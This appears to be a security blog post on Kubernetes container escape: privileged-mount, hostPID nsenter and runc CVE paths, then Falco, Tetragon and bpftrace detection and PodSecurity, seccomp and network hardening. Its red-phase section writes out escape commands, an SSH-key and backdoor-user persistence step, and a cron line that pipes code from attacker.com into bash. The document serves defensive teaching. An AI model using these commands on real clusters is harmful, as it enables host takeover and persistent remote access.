<p><strong>OWASP Mapping:</strong> A04 Insecure Design — <code class="" data-line="">--privileged</code> placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──&#x25b6; exploit ──&#x25b6; shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Kubernetes container escape</strong> is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node&#8217;s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with <code class="" data-line="">--privileged</code>, you remove the boundary.</p>
<hr />
<h2 id="the-incident-privileged-just-for-debugging">The Incident: &#8211;privileged &#8220;Just for Debugging&#8221;</h2>
<p>A networking issue in staging. The developer can&#8217;t get the CNI tracing they need from inside the normal container. Someone adds <code class="" data-line="">--privileged: true</code> to the pod spec to expose <code class="" data-line="">/sys/class/net</code> and the raw packet socket. The PR merges. The staging deployment works. The <code class="" data-line="">--privileged</code> flag stays in the manifest when staging gets promoted to production.</p>
<p>Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.</p>
<p>Inside the container, two commands:</p>
<pre><code class="" data-line="">mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
</code></pre>
<p>Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because <code class="" data-line="">--privileged</code> was set.</p>
<p>The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.</p>
<p>This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn&#8217;t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.</p>
<hr />
<h2 id="why-the-kernel-doesnt-know-about-kubernetes">Why the Kernel Doesn&#8217;t Know About Kubernetes</h2>
<p>Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.</p>
<p>Kernel isolation comes from:</p>
<pre><code class="" data-line="">Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor
</code></pre>
<p><code class="" data-line="">--privileged</code> removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with <code class="" data-line="">mount</code>, you can fix even the filesystem view.</p>
<hr />
<h2 id="red-phase-the-three-escape-paths">Red Phase: The Three Escape Paths</h2>
<h3 id="path-1-privileged-container">Path 1: &#8211;privileged Container</h3>
<p>A privileged container has <code class="" data-line="">CAP_SYS_ADMIN</code>, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, <code class="" data-line="">/dev/sda1</code> or equivalent contains the host root filesystem.</p>
<p><strong>Check if the current container is privileged:</strong></p>
<pre><code class="" data-line=""># CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o &#039;cap_sys_admin&#039;
# cap_sys_admin — present means privileged
</code></pre>
<p><strong>Full escape sequence:</strong></p>
<pre><code class="" data-line=""># Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep &#039; / &#039;
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo &quot;ssh-rsa AAAA...&quot; &gt;&gt; /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node&#039;s bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/
</code></pre>
<p><strong>What persistence looks like from node root:</strong></p>
<pre><code class="" data-line=""># Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo &quot;* * * * * root curl http://attacker.com/c2 | bash&quot; \
  &gt;&gt; /mnt/host/etc/cron.d/maintenance
</code></pre>
<h3 id="path-2-hostpid-hostnetwork-escape">Path 2: hostPID / hostNetwork Escape</h3>
<p><code class="" data-line="">hostPID: true</code> is a less obvious escape path than <code class="" data-line="">--privileged</code> but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host&#8217;s full namespace set.</p>
<p><strong>With hostPID enabled, nsenter produces a host root shell without mounting anything:</strong></p>
<pre><code class="" data-line=""># From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep &quot; / &quot;  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)
</code></pre>
<blockquote>
<p><strong>nsenter</strong> — a Linux utility that enters the namespaces of an existing process. With <code class="" data-line="">-t 1</code> it enters PID 1&#8217;s namespaces, which are the host&#8217;s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.</p>
</blockquote>
<p><code class="" data-line="">hostNetwork: true</code> on its own does not directly produce a root shell, but it exposes the node&#8217;s network interfaces and allows binding to host ports. Combined with access to the cloud provider&#8217;s instance metadata service (IMDS), it enables credential theft from the node&#8217;s IAM role — the attack path covered in <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata and IMDSv1 exploitation</a>.</p>
<h3 id="path-3-runc-cve-escape-cve-2019-5736">Path 3: runc CVE Escape (CVE-2019-5736)</h3>
<p>CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.</p>
<p>The mechanism:</p>
<pre><code class="" data-line="">1. Attacker controls a container image
2. Image&#039;s entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it &lt;pod&gt; -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker&#039;s process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host
</code></pre>
<p>The detection signature for runc-class escapes is writes to <code class="" data-line="">/proc/self/exe</code> or writes to paths that correspond to runc&#8217;s host binary location from within a container process:</p>
<pre><code class="" data-line=""># Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf(&quot;PID %d comm %s writing fd %d\n&quot;, pid, comm, args-&gt;fd);
}
&#039; 2&gt;/dev/null | head -20
</code></pre>
<p>Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: <strong>node patching is the only fix for runc-class CVEs</strong> — pod security policy cannot prevent a vulnerability in the container runtime itself.</p>
<h3 id="safe-simulation-audit-your-cluster-before-an-attacker-does">Safe Simulation: Audit Your Cluster Before an Attacker Does</h3>
<p>These commands are read-only and safe to run against any cluster you have kubectl access to:</p>
<pre><code class="" data-line=""># Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then &quot;hostPID&quot; else &quot;&quot; end),
     (if .spec.hostNetwork then &quot;hostNetwork&quot; else &quot;&quot; end)] |
    join(&quot; / &quot;)&#039; | \
  grep -v &quot;/$&quot; | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + &quot;→&quot; + .hostPath.path)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join(&quot;/&quot;)&#039; | \
  sort -u
</code></pre>
<hr />
<h2 id="blue-phase-ebpf-detection">Blue Phase: eBPF Detection</h2>
<p>Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with <code class="" data-line="">mount</code>, <code class="" data-line="">nsenter</code>, or <code class="" data-line="">/proc/self/exe</code>. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.</p>
<h3 id="falco-privileged-container-and-mount-detection">Falco: Privileged Container and Mount Detection</h3>
<pre><code class="" data-line=""># Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: &gt;
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: &gt;
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: &gt;
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: &gt;
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: &gt;
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: &gt;
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: &gt;
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: &gt;
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: &gt;
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: &gt;
    A process inside a container is reading /proc entries for PIDs
    that don&#039;t belong to it — indicates hostPID=true and enumeration.
  condition: &gt;
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: &gt;
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]
</code></pre>
<h3 id="tetragon-tracingpolicy-for-nsenter-and-mount-syscalls">Tetragon: TracingPolicy for nsenter and Mount Syscalls</h3>
<p>Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.</p>
<pre><code class="" data-line=""># Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: &quot;sys_mount&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # source device (e.g. /dev/sda1)
        - index: 1
          type: &quot;string&quot;     # target mount point
        - index: 2
          type: &quot;string&quot;     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - &quot;host_pid_ns&quot;   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: &quot;__x64_sys_execve&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/nsenter&quot;
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: &quot;vfs_write&quot;
      return: false
      syscall: false
      args:
        - index: 0
          type: &quot;file&quot;
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/proc/self/exe&quot;
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write
</code></pre>
<h3 id="bpftrace-quick-node-level-validation">bpftrace: Quick Node-Level Validation</h3>
<p>Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:</p>
<pre><code class="" data-line=""># Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_mount {
  printf(&quot;%-8d %-20s %-30s -&gt; %-30s type=%s\n&quot;,
    pid, comm,
    str(args-&gt;dev_name),   // source device
    str(args-&gt;dir_name),   // mount target
    str(args-&gt;type));      // filesystem type
}
&#039; 2&gt;/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
</code></pre>
<pre><code class="" data-line=""># Watch for nsenter executions across all processes on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  if (str(args-&gt;filename) == &quot;/usr/bin/nsenter&quot; ||
      str(args-&gt;filename) == &quot;/bin/nsenter&quot;) {
    printf(&quot;nsenter called: pid=%d ppid=%d comm=%s\n&quot;,
      pid, curtask-&gt;real_parent-&gt;pid, comm);
  }
}
&#039; 2&gt;/dev/null
</code></pre>
<h3 id="what-kubernetes-audit-logs-show-and-what-they-miss">What Kubernetes Audit Logs Show (and What They Miss)</h3>
<p>Kubernetes audit logs record API server activity. They show pod creation with <code class="" data-line="">--privileged</code> set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.</p>
<pre><code class="" data-line=""># Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods&quot;]
    verbs: [&quot;create&quot;, &quot;update&quot;, &quot;patch&quot;]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods/exec&quot;]
    verbs: [&quot;create&quot;]
</code></pre>
<pre><code class="" data-line=""># Parse audit log for privileged pod creation
grep &#039;&quot;privileged&quot;:true&#039; /var/log/kubernetes/audit.log | \
  jq -r &#039;[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + &quot;/&quot; + .objectRef.name,
    &quot;privileged=true&quot;
  ] | join(&quot; | &quot;)&#039;

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r &#039;.items[] |
    select(.message | contains(&quot;privileged&quot;)) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(&quot; / &quot;)&#039;
</code></pre>
<p>The audit log gap is important to understand: <strong>audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape</strong>. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-podsecurity-admission-enforce-restricted-profile">Fix 1: PodSecurity Admission — Enforce Restricted Profile</h3>
<p>PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, <code class="" data-line="">hostPath</code> volumes, and requires dropping all capabilities.</p>
<pre><code class="" data-line=""># Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn&#039;t meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
</code></pre>
<p>What Restricted profile blocks (relevant to escape paths):</p>
<pre><code class="" data-line=""># These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: [&quot;ALL&quot;]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not
</code></pre>
<p><strong>Rollout approach for existing clusters:</strong></p>
<p>Start with <code class="" data-line="">warn</code> mode on all namespaces, identify violations, remediate, then promote to <code class="" data-line="">enforce</code>:</p>
<pre><code class="" data-line=""># Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r &#039;.items[] |
    select(.metadata.name | test(&quot;^(kube-system|kube-public|kube-node-lease)$&quot;) | not) |
    .metadata.name&#039; | \
  while read ns; do
    kubectl label namespace &quot;$ns&quot; \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo &quot;Labeled $ns&quot;
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
  -o json | jq -r &#039;.items[] | select(.message | contains(&quot;violates PodSecurity&quot;))&#039;
</code></pre>
<h3 id="fix-2-runtimeclass-hardware-level-isolation-for-untrusted-workloads">Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads</h3>
<p>For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.</p>
<p>gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.</p>
<pre><code class="" data-line=""># Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: &quot;true&quot;   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor&#039;s sentry
  containers:
    - name: app
      image: untrusted-image:latest
</code></pre>
<pre><code class="" data-line=""># Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu
</code></pre>
<blockquote>
<p><strong>For operators:</strong> gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.</p>
</blockquote>
<h3 id="fix-3-seccomp-profile-block-the-syscalls-that-enable-escape">Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape</h3>
<p>Even without gVisor, a custom seccomp profile that explicitly denies <code class="" data-line="">mount</code>, <code class="" data-line="">unshare</code>, and <code class="" data-line="">clone</code> with namespace flags closes the primary escape syscall surface.</p>
<pre><code class="" data-line="">{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ERRNO&quot;,
  &quot;architectures&quot;: [&quot;SCMP_ARCH_X86_64&quot;, &quot;SCMP_ARCH_X86&quot;, &quot;SCMP_ARCH_X32&quot;],
  &quot;syscalls&quot;: [
    {
      &quot;names&quot;: [
        &quot;accept&quot;, &quot;accept4&quot;, &quot;access&quot;, &quot;arch_prctl&quot;,
        &quot;bind&quot;, &quot;brk&quot;, &quot;capget&quot;, &quot;capset&quot;,
        &quot;chdir&quot;, &quot;chmod&quot;, &quot;chown&quot;, &quot;clock_gettime&quot;,
        &quot;clone&quot;,
        &quot;close&quot;, &quot;connect&quot;,
        &quot;dup&quot;, &quot;dup2&quot;, &quot;dup3&quot;,
        &quot;execve&quot;, &quot;exit&quot;, &quot;exit_group&quot;,
        &quot;fchmod&quot;, &quot;fchown&quot;, &quot;fcntl&quot;,
        &quot;fstat&quot;, &quot;fstatfs&quot;, &quot;fsync&quot;,
        &quot;futex&quot;, &quot;getcwd&quot;, &quot;getdents64&quot;,
        &quot;getegid&quot;, &quot;geteuid&quot;, &quot;getgid&quot;, &quot;getgroups&quot;,
        &quot;getpeername&quot;, &quot;getpid&quot;, &quot;getppid&quot;,
        &quot;getrlimit&quot;, &quot;getsockname&quot;, &quot;getsockopt&quot;,
        &quot;gettid&quot;, &quot;gettimeofday&quot;, &quot;getuid&quot;,
        &quot;inotify_add_watch&quot;, &quot;inotify_init1&quot;,
        &quot;listen&quot;, &quot;lseek&quot;, &quot;lstat&quot;,
        &quot;madvise&quot;, &quot;mmap&quot;, &quot;mprotect&quot;,
        &quot;munmap&quot;, &quot;nanosleep&quot;,
        &quot;open&quot;, &quot;openat&quot;,
        &quot;pipe&quot;, &quot;pipe2&quot;, &quot;poll&quot;, &quot;ppoll&quot;,
        &quot;prctl&quot;, &quot;pread64&quot;, &quot;pwrite64&quot;,
        &quot;read&quot;, &quot;readlink&quot;, &quot;readv&quot;,
        &quot;recvfrom&quot;, &quot;recvmsg&quot;, &quot;recvmmsg&quot;,
        &quot;rename&quot;, &quot;rt_sigaction&quot;, &quot;rt_sigprocmask&quot;,
        &quot;rt_sigreturn&quot;, &quot;sched_getaffinity&quot;,
        &quot;select&quot;, &quot;sendfile&quot;, &quot;sendmsg&quot;, &quot;sendto&quot;,
        &quot;set_robust_list&quot;, &quot;set_tid_address&quot;,
        &quot;setgid&quot;, &quot;setgroups&quot;, &quot;setuid&quot;,
        &quot;setsockopt&quot;, &quot;shutdown&quot;,
        &quot;socket&quot;, &quot;socketpair&quot;,
        &quot;stat&quot;, &quot;statfs&quot;, &quot;symlink&quot;,
        &quot;tgkill&quot;, &quot;time&quot;, &quot;timerfd_create&quot;,
        &quot;timerfd_settime&quot;, &quot;truncate&quot;,
        &quot;uname&quot;, &quot;unlink&quot;, &quot;unlinkat&quot;,
        &quot;wait4&quot;, &quot;waitid&quot;,
        &quot;write&quot;, &quot;writev&quot;
      ],
      &quot;action&quot;: &quot;SCMP_ACT_ALLOW&quot;
    }
  ]
}
</code></pre>
<p>Apply via pod spec:</p>
<pre><code class="" data-line="">spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: &quot;container-escape-block.json&quot;
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
</code></pre>
<pre><code class="" data-line=""># Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
</code></pre>
<h3 id="fix-4-network-policy-contain-the-blast-radius-after-escape">Fix 4: Network Policy — Contain the Blast Radius After Escape</h3>
<p>Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.</p>
<pre><code class="" data-line=""># Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
</code></pre>
<pre><code class="" data-line=""># Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed
</code></pre>
<h3 id="fix-5-node-isolation-co-location-risk">Fix 5: Node Isolation — Co-location Risk</h3>
<p>An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node&#8217;s credentials and can pivot to anything else scheduled on that node.</p>
<pre><code class="" data-line=""># Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule
</code></pre>
<hr />
